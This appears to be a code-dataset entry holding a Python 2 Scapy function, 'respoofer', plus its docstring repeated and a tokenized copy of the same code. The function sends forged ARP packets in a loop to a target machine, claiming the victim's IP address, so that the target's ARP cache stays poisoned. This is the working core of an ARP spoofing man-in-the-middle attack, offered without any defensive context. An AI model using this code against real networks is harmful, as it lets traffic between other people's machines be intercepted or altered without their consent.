(self, target, victim)
Respoof the target every two seconds.
Respoof the target every two seconds.
Respoof the target every two seconds .
def respoofer(self, target, victim):
        """ Respoof the target every two seconds.
        """
        try:
            pkt = Ether(dst=target[1], src=self.local[1])
            pkt /= ARP(op="who-has", psrc=victim[0], pdst=target[0])
            while self.running:
                sendp(pkt, iface_hint=target[0])
                time.sleep(self.config['respoof'].value)
        except Exception, j:
            Error('Spoofer error: %s' % j)
            return None
def respoofer ( self , target , victim ) : try : pkt = Ether ( dst = target [ 1 ] , src = self . local [ 1 ] ) pkt /= ARP ( op = "who-has" , psrc = victim [ 0 ] , pdst = target [ 0 ] ) while self . running : sendp ( pkt , iface_hint = target [ 0 ] ) time . sleep ( self . config [ 'respoof' ] . value ) except Exception , j : Error ( 'Spoofer error: %s' % j ) return None